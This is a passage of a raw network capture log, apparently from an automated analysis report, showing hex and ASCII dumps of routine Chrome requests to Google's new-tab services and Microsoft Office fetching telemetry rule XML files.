attachment; filename="f.txt" Date: Sat, 23 Nov 2024 04:02:30 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 04:02:30 UTC	372	IN	Data Raw: 32 31 38 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 218f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-23 04:02:30 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-23 04:02:30 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-23 04:02:30 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-23 04:02:30 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-23 04:02:30 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 38 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700288,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-23 04:02:30 UTC	1277	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-23 04:02:30 UTC	464	IN	Data Raw: 31 63 39 0d 0a 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 Data Ascii: 1c9_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else
2024-11-23 04:02:30 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 Data Ascii: 8000e]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c
2024-11-23 04:02:30 UTC	1390	IN	Data Raw: 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 6d 61 78 4c 65 6e 67 74 68 5c 22 2c 6e 6f 6e 63 65 3a 5c 22 6e Data Ascii: Attribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"maxLength\",nonce:\"n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49746	142.250.181.68	443	6308	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:29 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 04:02:30 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 04:02:30 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 04:02:30 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-23 04:02:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9906faf6-f01e-0052-624b-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040230Z-15b8b599d88tmlzshC1TEB4xpn00000002ag000000007kfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:30 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040230Z-178bfbc474bwlrhlhC1NYCy3kg00000003u000000000rpf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040230Z-174c587ffdfmrvb9hC1TEBtn38000000029000000000sg13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:30 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040230Z-178bfbc474b7cbwqhC1NYC8z4n00000003u000000000d70c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:30 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 15a67567-d01e-0066-07eb-3bea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040230Z-15b8b599d88tr2flhC1TEB5gk400000002e000000000g266 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
